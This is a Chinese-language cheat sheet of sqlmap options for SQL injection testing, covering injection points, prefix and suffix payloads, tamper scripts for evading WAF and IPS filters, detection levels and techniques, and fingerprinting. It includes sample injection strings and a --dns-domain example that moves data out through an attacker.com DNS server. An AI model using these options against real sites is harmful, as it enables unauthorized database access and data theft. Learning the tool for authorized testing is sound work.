注入参数介绍
-p
- 指定扫描的参数,使–level失效
- -p “user-agent,referer”
–skip
- 排除指定的扫描参数
- –level=5 –skip=”id,user-agent”
URl注入点
sqlmap -u "#34;
— DBMS 指定内容,提升工作效率(例如:–dbms=” MySQL “)
- MySQL<5.0>
- Oracle <11i>
- Microsoft SQL server <2005>
- PostgreSQL
- Microsoft Aceess
- SQLite
- 等等
–os
- Linux
- Windows
–invalid-bignum / –invalid-logical
- 通常sqlmap使用负值使参数取值失效 id=12 → id=-13
- bignum使用大数使参数值失效 id=999999999999
- Logical使用布尔判断使取值失效 id=13 AND 18=19
–no-cast
- 榨取数据时,sqlmap将所有结果转换为 字符串 ,并用空格替换NULL结果
- 老版本mysql数据库需要开启此开关
–no-escape
- 出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
SELECT 'foo' → SELECT CHAR(102)+CHAR(111)+CHAR(111)
#按照原样子参数发送
–prefix / –suffix
- $query = “SELECT * FROM users WHERE id=(”’.$_GET[‘id’].”’)LIMIT 0,1″;
sqlmap -u "#34; -p id --prefix''')" --suffix "AND('abc'='abc''
query = "SELECT * FROM users WHERE id=('1')<PAYLOAD>AND ('abc'='abc')LIMIT 0,1";
–tamper
- 混淆脚本,用于绕过应用层过滤、 IPS 、 WAF
sqlmap -u "#34; tamper="tamper/between.py/???.py" -v 3
检测参数介绍
–level
- 1-5级(默认1)
- /usr/share/sqlmap/xml/payloads 查看不同级别下发送不同的payload
–risk
- 1-4 (默认1 / 无害)
- Risk升高可造成数据被篡改等风险(update)
–string, –not-string, –regexp, –code, –text-only, –titles
- 页面比较,基于 布尔 的注入检测,依据返回页面内容的变化判断真假逻辑,但是有些页面随时间阈值变化,此时需要认为指定标识真假的字符串;
检测 SQL注入 存在的技术类型
默认使用全部技术
- B: Boolean -based blind
- E:Error-based
- U:Union query-based
- S:Stracked queries(文件系统,操作系统,注册表必须)
- T:Time-based blind
–time-sec
- 基于时间的注入检测响应延迟时间(默认5秒)
–union-cols
- 默认联合查询1-10列,随–level增加量最多支持50例
- –onion-cols 6-9
–union-char
- 联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值
- –union-char 123
–dns-domain
- 攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
--dns-domain attacker.com
–second- order
- 在一个页面注入的结果,从另一个页面体现出来
--second-order
指纹信息参数
-f, –fingerprint, -b, –banner
- 数据库管理系统指纹信息
- DBMS,操作系统,架构,补丁